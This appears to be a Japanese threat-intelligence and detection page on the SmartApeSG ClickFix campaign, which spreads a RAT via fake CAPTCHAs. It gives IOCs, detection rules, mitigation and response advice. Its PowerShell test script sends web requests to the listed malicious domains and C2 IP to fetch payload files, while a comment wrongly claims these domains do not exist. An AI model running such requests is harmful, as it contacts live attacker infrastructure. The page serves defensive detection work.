SmartApeSGがClickFixを用いた誘導で不明なRATを拡散
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
SmartApeSGキャンペーンでは、ClickFix手法を用いて、偽のCAPTCHAや人間認証ページを通じてユーザーを悪意のあるコマンドの実行に誘導します。このアクションにより、HTAファイルが起動し、悪意のあるZIPアーカイブがダウンロードおよび解凍されます。最終的なペイロードは、識別されていないリモートアクセス型トロイの木馬(RAT)で、DLLサイドローディングを利用して持続性を確立し、C2インフラストラクチャと通信します。
調査
調査には、SmartApeSGの活動に関連するHTTPSトラフィック、PCAPファイル、悪意のあるアーカイブの分析が含まれました。研究者たちは正規のウェブサイトに注入された悪意のあるJavaScriptを特定し、クリップボードに注入されたコマンドから最終的なC2接続までの感染経路を追跡しました。RATは暗号化されたトラフィックを使用してポート443を介して外部IPアドレスと通信することが観察されました。
緩和策
組織は、 pewtercanto[.]top and deltaode[.]comを含む既知の悪意のあるドメインをブロックするためにWebフィルタリングを使用するべきです。ユーザーは偽のCAPTCHAやClickFixの指示といったソーシャルエンジニアリング手法を認識するよう訓練されるべきです。HTAファイルの実行を制限し、ブラウザまたはRunコマンドによって開始される疑わしい子プロセスを監視することで、リスクをさらに低減できます。
対応
SmartApeSGの活動が検出された場合、影響を受けたエンドポイントはC2通信を中断するために直ちに隔離されるべきです。調査官はAppDataおよびDocumentsディレクトリを調査してRATとその持続化メカニズムを特定するべきです。エンドポイントテレメトリーも未承認のHTA実行、クリップボード操作、およびDLLサイドローディング活動についてレビューされるべきです。
攻撃フロー
検出
異常なトップレベルドメイン(TLD)を使った不審なコマンドと制御 (via dns)
Proof of Value
不審な環境変数 (via cmdline)
Proof of Value
HTAファイルなしの不審なMshtaの実行 (via cmdline)
Proof of Value
コマンドライン上の異常なトップレベルドメイン (via cmdline)
Proof of Value
検出するためのIOC (HashSha256): SmartApeSG ClickFixキャンペーンによりRATが配布される
Proof of Value
検出するためのIOC (SourceIP): SmartApeSG ClickFixキャンペーンによりRATが配布される
Proof of Value
検出するためのIOC (DestinationIP): SmartApeSG ClickFixキャンペーンによりRATが配布される
Proof of Value
SmartApeSG ClickFixキャンペーンRAT活動 [Windowsネットワーク接続]
Proof of Value
DLLサイドローディングによる識別されていないRATの検出 [Windowsファイルイベント]
Proof of Value
シミュレーション実行
前提条件: テレメトリーとベースラインの事前チェックが合格している必要があります。
理由: このセクションは、検出ルールをトリガーするために設計された敵対者技術(TTP)の正確な実行を詳細に説明します。コマンドと記述は識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。抽象的または無関係な例は誤診を招きます。
-
攻撃の説明とコマンド: 敵対者はSmartApeSG ClickFixキャンペーンを実行しています。ユーザーが悪意のあるアクション(しばしば偽のブラウザアップデート)に誘導されると、システムは悪意のあるHTAファイルを引き下ろそうとします。HTAはC2インフラストラクチャとの接続を開始し、最終RATペイロードをダウンロードします。これをシミュレーションするために、検出ロジックに定義された正確な文字列にヒットするネットワークリクエストを生成します:
deltaode.compo,deltaode.com/wv、およびIP89.124.79.98. -
回帰テストスクリプト:
# SmartApeSG検出ルールをトリガーするシミュレーションスクリプト # このスクリプトは特定のIoCへのネットワークリクエストをシミュレートします $urls = @( "https://deltaode.compo/payload.hta", "https://deltaode.com/wv/malicious.exe", "http://89.124.79.98:443/c2_checkin" ) foreach ($url in $urls) { Write-Host "リクエストをシミュレーション中: $url" try { # ネットワークテレメトリーを生成するためにInvoke-WebRequestを使用します # これらのドメインは実際には存在しないため、-ErrorAction SilentlyContinueを使用します Invoke-WebRequest -Uri $url -UseBasicParsing -ErrorAction SilentlyContinue } catch { Write-Host "リクエスト失敗 (予想通り)、しかしテレメトリーは生成されるべきです。" } } -
クリーンアップコマンド:
# システムに永続的な変更は行われていません。クリーンアップは不要です。 Write-Host "シミュレーション完了。システム上にアーティファクトは残っていません。"